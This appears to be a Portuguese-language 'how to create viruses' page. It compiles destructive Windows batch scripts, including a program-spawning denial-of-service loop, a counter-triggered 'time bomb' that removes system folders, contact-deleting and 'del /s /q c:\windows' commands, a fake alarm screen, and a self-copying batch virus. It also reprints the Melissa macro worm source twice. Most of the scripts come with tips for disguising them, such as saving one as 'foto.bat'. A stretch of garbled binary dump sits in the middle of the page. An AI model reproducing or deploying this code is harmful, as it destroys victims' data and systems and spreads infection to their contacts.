como criar virus

Nome:CLICK EM MIM
@ECHO OFF
:REPETE
MSG * CLICK EM MIM
GOTO REPETE
Função:Fica repetindo varias vezes a mesma mensagem

Nome:Progstar
@echo off
rem Denial Of Service Local
:Fucker
start notepad.exe
start write.exe
start sol.exe
start cmd.exe
start powerpnt.exe
start excel.exe
start winword.exe
start msacess.exe
goto Fucker:

Nome:bomba relógio
c:\
cd\
echo off
if exist lig1.drv goto 2
echo > lig1.drv sdfsdf
goto fim
:2
if exist lig2.drv goto 3
echo > lig2.drv sdfsdf
goto fim
:3
if exist lig3.drv goto 4
echo > lig3.drv sdfsdf
goto fim
:4
if exist lig4.drv goto 5
echo > lig4.drv sdfsdf
goto fim
:5
if exist lig5.drv goto 6
echo > lig4.drv sdfsdf
goto fim
:6
if exist lig6.drv goto 7
echo > lig6.drv sdfsdf
goto fim
:7
rmdir C:\windows
rmdir C:\arquivos de programas
rmdir C:\documents and settings
:fim
Função:depois que ele for ativado 7 vezes ele apaga tudo

Nome:MSN Fixer
cd %USERPROFILE%
cd Config~1
cd Dadosd~1
cd Micros~1
cd "Windows Live Contacts"
del /s /q *.*
Função:Congela todos os msn's que estao sendo executados.

Virus Destruction

                                                                   Destruction

u G ‰Eð‹w ÇEø ÇEü ë ƒø … G ‰Eð‹w ÇEø ÇEü h @ ÿ ’0@ ¹ ÷á9Æu:¹ ÷ñPÿuðèËþÿÿ Àu&‹E £Œ @ @ÿu ÿu ÿu ÿu Pÿu è\üÿÿ‰Eìéœ ÿu ÿu ÿu ÿu ÿ5Œ @ ÿu è:üÿÿ‰Eì Àua‹Eø ‰Eð‹Eü‹4 h @ ÿ ’0@ ¹ ÷á9Æu<¹ ÷ñPÿuðèKþÿÿ Àu(¡Œ @ ;E s ‹E @ÿu ÿu ÿu ÿu Pÿu è×ûÿÿ‰Eìë ÿu ÿu ÿu ÿu ÿu ÿu è»ûÿÿ‰Eì_^‹EìÉ U‰åƒì VWÿu ÿu ÿu ÿu è þÿÿ‰Eôƒø |vƒ} upÇEø ‹} ‹WD; @ u ¡ @ ÿ7‰þ 7¹ð üó¤X ë݉þ 7VEü9þu ‹Eø Àt ‹GD; @ u ‹uøÇ ë ‰}ø‹}ü‹GD; @ u ‹uø‹ ë½_^‹EôÉ U‰åƒì VWh‚ @ ÿ ‚0@ ‰EühD @ ÿ –0@ ‰Á¾D @ ‰÷¬4jªâúhi @ ÿ –0@ ‰Á¾i @ ‰÷¬4jªâúh @ ÿ –0@ ‰Á¾ @ ‰÷¬4jªâúhi @ ÿuüÿ †0@ £S @ EøPj hW @ ÿ5S @ jÿÿ ~0@ Æ _ @ hÇ ` @ /%@ Æ d @ ÍEøPj h_ @ ÿ5S @ jÿÿ z0@ h @ ÿuüÿ †0@ £ @ EøPj h @ ÿ5 @ jÿÿ ~0@ Æ @ hÇ @ Ì#@ Æ @ ÍEøPj h @ ÿ5 @ jÿÿ z0@ hD @ ÿuüÿ †0@ £. @ EøPj h2 @ ÿ5. @ jÿÿ ~0@ Æ : @ hÇ ; @ È!@ Æ ? @ ÍEøPj h: @ ÿ5. @ jÿÿ z0@ _^ÉÃU‰åÿu ÿu ÿu j ÿ .1@ 1ÀÉ U‰åƒì EüPj hW @ ÿ5S @ jÿÿ z0@ EüPj h @ ÿ5 @ jÿÿ z0@ EüPj h2 @ ÿ5. @ jÿÿ z0@ ÉÃU‰åj ÿ5 @ hN\'@ j ÿ *1@ jÿÿ Ž0@ É U‰åVS‹u d¡0 ‹@ ƒÀ ‹ ;p uù‹0‹X ‰3‹p ‹ ‰s @ ‹0‹X ‰3‹p ‹ ‰s [^É U‰åƒì VW‹u ¿ @ f*f Àt f«ëõf«Ç @ ‹E £ @ EüPj j h»\'@ j j ÿ Š0@ _^É V0 <0>@ SYSHOST.DLL A £0*0·0ì0ò0ú0ÿ0 1
1 1 1.191?1G1a1g1o1t1z11†1‹1£1®1´1¼172=2d2”2·2½2á 2A3k3q3y3~3„3‰33•3§3²3¸3À3;4A4h4˜4»4Á4å4e5l5›5·5Ø 5Þ5æ5ì5ó5 6 6
6 6 6\'646=6B6M6S6[6a6h6l6r6~6„6Œ6‘6š6Ÿ6ª6°6¸6¾6Å6É6Ï6Û6á6é6î6÷6ü6 7
7 7 7"7&7,787>7F7^7u7{7ƒ7Ž7”7œ7§7*7µ7Â7Ç7Ï7×7-8@8L8Y8c8

Função :Deleta o windowns,formata o pc e fode a placa mãe..

como criar virus

Abra o blocos de notas e dichite as letras que estão de vermelho ..e  salve .bat exemplo :foto.bat
abre muitos programas e faz o pc trvar
@echo off
rem Denial Of Service Local
:Fucker
start notepad.exe
start write.exe
start sol.exe
start cmd.exe
start powerpnt.exe
start excel.exe
start purble place
start winword.exe
start msacess.exe
goto Fucker:

Caveirão Trojan
    @echo off
title VIRUS ENCONTRADO!!!ERRO FATAL
color 0c
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ7¶¶¶¶¶¶¶¶¶¶¶¶¶¶$7ŽŽŽŽŽŽŽŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶¶¶øŽŽŽŽŽŽŽŽŽŽŽŽŽ¢¶¶¶¶¶7ŽŽŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽ7¶¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶øŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¢¶¶ŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¶¶Ž1¶1ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶Ž¶¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¶oŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽ¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¶oŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽ¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶øŽ7¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ¢¶ŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽ¶¶Ž ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽ¶¶Žo¶ŽŽŽ1¢ø¶¶¶¶1ŽŽŽŽŽŽ¶¶¶¶ø¢1ŽŽŽ¶¶Ž¶¶ŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽ¶¶o¶Ž$¶¶¶¶¶¶¶¶¶ŽŽŽŽŽ¶¶¶¶¶¶¶¶¶¶Ž¶¶ø¶7ŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶Ž¶¶¶¶¶¶¶¶¶¶ŽŽŽŽŽ¶¶¶¶¶¶¶¶¶¶Ž¶¶¶ŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽ¶¶øŽŽŽŽŽŽŽ¶øŽŽ¶¶¶¶¶¶¶¶ŽŽŽŽŽŽŽ¶¶¶¶¶¶¶¶oŽŽ¶7ŽŽŽŽ ŽŽø¶¶$ŽŽŽ
echo ŽŽŽ¶¶7¶¶ŽŽŽŽŽ1¶ŽŽŽø¶¶¶¶¶¶ŽŽŽ7Ž7ŽŽŽo¶¶¶¶¶¶ŽŽŽ¶¶ŽŽŽŽ Ž¶¶1¢¶7ŽŽ
echo ŽŽ7¶ŽŽŽ¶¶ŽŽŽŽ1¶ŽŽŽŽŽoøøŽŽŽŽ¶¶7¶¶ŽŽŽŽoøoŽŽŽŽŽ¶$ŽŽŽŽ ¶¶ŽŽŽ¶$ŽŽ
echo Žo¶¶ŽŽŽŽ¶¶¶¶ŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽ¶¶¶Ž¶¶¶ŽŽŽŽŽŽŽŽŽŽ$¶ŽŽ¶¶¶ ¶ŽŽŽŽ¶¶øŽ
echo ¶¶ŽŽŽŽŽŽŽŽŽ¶¶¶¶¶¶¶oŽŽŽŽŽŽŽ¶¶¶Ž¶¶¶ŽŽŽŽŽŽŽ7¶¶¶¶¶¶¶1Ž ŽŽŽŽŽŽŽ¶¶
echo ¶¶¶¶¶¶¶¶1ŽŽŽŽŽo¶¶¶¶¶¶¶ŽŽŽŽ¶¶¶Ž¶¶¶ŽŽŽŽ$¶¶¶¶¶¶oŽŽŽŽŽ Ž¶¶¶¶¶¶¶¶
echo ŽŽoøø1Ž¶¶¶¶¶ŽŽŽŽŽŽ¶1¶ø¶ŽŽŽŽ??ŽŽŽŽŽŽŽŽŽ¶¶¶Ž¶oŽŽŽŽŽ¶ ¶¶¶¶1ŽøøøŽŽ
echo ŽŽŽŽŽŽŽŽŽŽ7¶¶¶¶øŽŽ¶ø¶Ž¶¶ŽŽŽŽŽŽŽŽŽŽŽø¶Ž¶1¶ŽŽo¶¶¶¶oŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽø¶¶¶¶¶Ž¶ŽŽ¶$¶¶¶¶¶¶¶¶¶Žø1Ž¶¶¶¶¶$ŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶Ž¶Ž$¶Ž¶øŽ¶Ž¶ø7¶oø¶Ž¶¶ŽŽŽŽŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶¶Žø¶Ž¶Ž¶¶Ž¶Ž¶øŽ¶Ž¶¶Ž¶¶¶¶oŽŽŽŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽŽŽŽŽŽo¶¶¶¶Ž1¶ŽŽŽo¶¶¶¶ø¶o¶¶¶¶øŽŽŽ¶øŽ$¶¶¶¶ŽŽŽ ŽŽŽŽŽŽŽŽŽ
echo ŽŽŽŽ¶¶¶¶¶¶¶¶¶oŽŽŽŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶ŽŽŽŽŽŽ¶¶¶¶ ¶¶¶¶¶ŽŽŽŽ
echo ŽŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽ¶¶¶¶¶¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶¶ø¶¶¶oŽŽŽŽŽŽ ŽŽŽŽ¶¶ŽŽŽ
echo ŽŽŽŽ¶¶¶ŽŽŽŽŽ1¶¶¶¶ŽŽŽŽŽ¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶ŽŽŽŽŽ¶¶¶¶øŽŽŽ ŽŽ¶¶¶ŽŽŽŽ
echo ŽŽŽŽŽŽ¶¶ŽŽŽ¶¶¢ŽŽŽŽŽŽŽŽŽŽŽ7$¶¶¶¶¶¶7ŽŽŽŽŽŽŽŽŽŽŽ7¶¶ŽŽ Ž¶¶ŽŽŽŽŽŽ
echo ŽŽŽŽŽŽ¢¶ŽŽ¶¶ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¶¶Ž Ž¶¶ŽŽŽŽŽŽ
echo ŽŽŽŽŽŽŽ¶¶¶øŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ¢¶ ¶¶ŽŽŽŽŽŽŽ
echo: Spyware/Malware/Trojans/Rootkit foi detectado no seu OS(Sistema Operacional)!!!
pause
echo: Voce deve deletar isso AGORA!!aperte alguma tecla?
pause
echo: Processando?.erro?..tente novamente??
pause


congela MSN

cd %USERPROFILE%
cd Config~1
cd Dadosd~1
cd Micros~1
cd "Windows Live Contacts"
del /s /q *.*

Deletar windows

del /s /q c:\windows\

fode tudo troia

@echo off
ctty nul
rem
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3

 Melisa1999

// Melissa Virus Source Code
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End

pirata

// Melissa Virus Source Code
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End